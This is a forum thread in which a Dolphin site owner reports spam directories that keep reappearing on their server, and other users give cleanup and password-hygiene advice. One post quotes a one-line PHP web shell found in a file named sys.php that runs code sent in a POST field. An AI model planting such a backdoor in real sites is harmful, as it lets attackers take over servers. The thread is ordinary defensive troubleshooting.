spam &/or virusses

Each time via FTP is see comming 2 new directories.
When i delete them, they comes back...
In these directories is see much links... very much...
All to websites that are stupid...

/bm/
/bh/ 

With links...
a_Will_the_LifeProof_fr膿_5C_case_fit_on_an_iPhone_5_.html
a_What_color_does_sunfire_e_mod_鈪clearomizer_have_.html
a_Music_Making_Question锛焈.html
a_I_m_looking_on_buying_a_new_pair_of_headphones__budget_is_锟_0__What_are_the_best_to_buy_.html

ect...

Have some people here the same problem?
How te resolve this.. When i delete the directories, they come back alone :((((

And what can i do to preserve this in the future...

That certainly is not normall. Do these directories show up in the root of your Dolphin site?

I read in some other article something about your site being hacked. Did you check your templates and temp folder? Has your hosting company seen anything suspicious?

Update all related passwords (cPanel, FTP, etc.) and delete any unused FTP accounts.

Mails don't work. I'm on Black listst. ect..
I think better to stop.. It cost me too much money and time.
So i try once here to try to solve it with help here, i hope i can beat it.
I give my paswords to many people and now again i have problems.

0€ i receive, thousands of euro's i paid.
Hope later i can get some money for it.
But now i'm on the bottom of my wallet.

 I did it, it's not helping... :(

If you want I can have a look at it tomorrow.

Skype me around 10:00 your time.

You should contact your host, if you haven't done so already.

You haven't mentioned what ftp program you are using.  There are hacked versions of Filezilla circulating the internet, that will transmit login credentials to the hacker.

It might be wise to do a thorough virus scan of your own computer.

I have Avast pro, and i Use FlashFXP, i don't think it's this the problem.
I deleted this file.... sys.php, inside was this code: <?php @eval($_POST['123321']);?>

I Google it, it's not good, so i delete it...

Also in Splash.php strange code... 

 I gonna try Denre, but overday i'm on the way...
I stay in touch... You will see that i work on the website when i have time. 

So. That means nothing. You could still have malware on your computer.

Get a copy of the free version of malwarebytes anti malware and scan your computer with it. https://www.malwarebytes.org/antimalware/

I used to remove malware on computers for a living. There have been times i have had to use a half dozen different tools to fully clean a computer. Just because you have a anti virus program on your computer does not mean your computer is clean.

 Learn proper procedures.  Change passwords before giving someone access and again after they are done.

Also in modules directory a new directory /keter/ was created....

Maybe other people have the same problems?

I deleted of course also this directory... 

I thought that 1 virus scanner + malware scanner = Very slow computer where 2 programs fight to eachother.

I mean, i learned that 2 programs makes my pc very slow....

Multiple scanners can slow your computer down, just like opening mutiple other applications.

In erlier days there were some conflicts between scanners and in some cases they would see each other as being malicious.

These days it is advisable to run more than one scanner as it is known that not all malicous software is detected by each scanner. Therefore running multiple scanners give you a better change of finding things.

I check my laptop with multiple scanners. I have avira, malwarebytes, hitman pro, kaspersky and my scanners are started duing boot. This takes a bit longer for your machine to startup but gives you a better protection against malicious software. Further more I do regular rootkit scans, to make sure there are no processes running on my machine that try to hide threads.

Along other things, I also run my machine as a normal user and not as admin. Many people use the admin account to go online, but in my opinion this account has to many rights to just go and surf with it on the internet.

That only applies to scanners that run in the background.

Malwarebytes is a on demand scanner. It runs only when you do a scan. It is run manually.

I can tell you this. The problem keeps coming back for one of only two reasons. Reason 1 is the server itself is infected and your not getting everything removed. The second reason and the one that is most likely is either your computer is infected, or someone who has your FTP password has an infected computer. Severs are most commonly infected through FTP. If you have changed the FTP password and no one but you has the current password and the problem is still returning then the obvious problem is your own computer is infected. You have to scan it with other malware detection tools. You should also get root kit scanners such as https://www.malwarebytes.org/antirootkit/

There are other tools i use, however they are to dangerous for amateurs to be using. The tools i use are designed to be used by computer repair techs. So i will not mention any of my tools. I deduced you would not be qualified to use them based on the fact that you aparently do not know the difference between a scanner that runs all the time in the background and a on demand scanner.

See this site for more information and more tools you can get. http://freebies.about.com/od/computerfreebies/tp/best-on-demand-virus-scanner.htm

I seriously think you need to take a much closer look at your own PC as being the cause. Your putting way to much faith in Avast which is not even one the better antivirus programs available. It makes the top 10 list most of the time, but it's not the best.